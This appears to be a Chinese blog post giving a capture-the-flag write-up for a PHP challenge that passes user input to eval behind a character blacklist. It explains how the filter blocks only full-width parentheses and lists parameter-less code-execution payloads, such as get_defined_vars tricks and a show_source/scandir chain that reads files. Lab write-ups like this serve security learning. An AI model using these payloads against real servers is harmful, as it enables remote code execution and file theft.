web40 無引數rce

WSssSW發表於2024-08-18
點選檢視程式碼
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

有點坑的是這裡過濾的括號是中文的不是英文的

上網查發現有好幾種方法 算是腦洞大開了

array_pop()將陣列的值提取出來
get_defined_vars() 是以陣列的形式將所有變數展示出來
next()是取陣列第二個引數

我們post傳入的data=phpinfo() 剛好是第二個引數

所以成功執行
image

還有方法
show_source(next(array_reverse(scandir(pos(localeconv())))));

還有就是
透過傳sessionid來執行
理論上感覺沒啥問題 傳ls引數也有回顯 但是好像一旦包含了flag.php 就不行了 不過這也是一種思路
image

相關文章